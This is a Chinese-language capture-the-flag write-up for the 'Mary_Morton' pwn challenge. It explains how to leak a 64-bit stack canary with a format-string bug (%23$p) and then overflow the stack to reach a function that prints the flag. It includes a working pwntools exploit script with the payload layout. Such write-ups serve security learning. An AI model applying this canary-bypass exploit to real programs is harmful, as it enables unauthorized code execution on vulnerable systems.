CTF中的PWN——绕canary防护2(64bit + 格式化字符串漏洞leak canary + 栈溢出)

前言:

    前文绕canary防护1中程序时32位的,这篇文章中pwn的程序是64位的,都是利用格式化字符串漏洞leak canary的值,然后直接栈溢出即可,只是位数不同,利用格式化字符串漏洞泄露金丝雀值也略微不同。

题目:Mary_Morton-攻防世界

    检查软件的详细信息:

CTF中的PWN——绕canary防护2(64bit + 格式化字符串漏洞leak canary + 栈溢出)_第1张图片

     64的金丝雀与NX,拖入IDA64查看:

    当输入等于2时存在格式化字符串漏洞:

CTF中的PWN——绕canary防护2(64bit + 格式化字符串漏洞leak canary + 栈溢出)_第2张图片

    当输入等于3时exit(0),等于1时存在栈溢出漏洞:

CTF中的PWN——绕canary防护2(64bit + 格式化字符串漏洞leak canary + 栈溢出)_第3张图片

     那么基本思路是使用格式化字符串漏洞leak金丝雀的值,此处存在一个64位相对于32的坑,众所周知64的函数传参是前六个存在RID等六个寄存器中,从第七个开始入栈,所以在利用格式化字符串漏洞是会有六个偏移。获取到金丝雀的值后利用栈溢出漏洞即可,同时程序中存在cat flag的system函数。

    可以看到格式化字符串漏斗的函数内canary的位置位rbp - 8。 

CTF中的PWN——绕canary防护2(64bit + 格式化字符串漏洞leak canary + 栈溢出)_第4张图片

    下面查看canary的格式化字符offset,使用调试工具进行动态调试,找到canary的位置:

CTF中的PWN——绕canary防护2(64bit + 格式化字符串漏洞leak canary + 栈溢出)_第5张图片

    格式化字符串偏移为17 + 6 = 23,那么输入%23$p即可泄露处canary的值,此处也有一个小坑,32bit的使用$x即可,而64bit的不允许$x,只能使用$llx或$p。注意,此64bit题目,有的人会直接(0x90 - 8)/8在加6,这么做的技术原理没理解透,或许是因为当%7$p时,第七个参数为&buf起始?可又是为什么呢,后续理解了再说吧。。。。具体payload构造如下:

from pwn import *

context.log_level = "debug"

#p = remote('111.198.29.45',51801)
p = process('./Mary_Morton')
p.recvuntil('3. Exit the battle \n')
p.sendline('2')
#p.sendlineafter('3. Exit the battle \n','2')
payload = '%23$p'
p.sendline(payload)
#sleep(0.5)
canary_addr = int(p.recv(18),16)
#print canary_addr
#print int(canary_addr)
flag_addr = 0x4008DA
#p.sendlineafter('3. Exit the battle \n','1')
p.recvuntil('3. Exit the battle \n')
p.sendline('1')
payload = 'A' * 136 + p64(canary_addr) + 'A' * 8 + p64(flag_addr)
p.sendline(payload)
p.interactive()

       脚本运行结果如下:

CTF中的PWN——绕canary防护2(64bit + 格式化字符串漏洞leak canary + 栈溢出)_第6张图片

总结:

  1.     64bit程序中利用格式化字符串漏洞需要多偏移6内存单元。
  2.     格式化字符串漏洞使用$p或llx泄露。
  3.     注意sendline()中的字符,此程序中多了一个空格加\n,一般空格可以直接看出,但是\n要注意。
  4.     后续直接获取shell。

你可能感兴趣的:(PWN)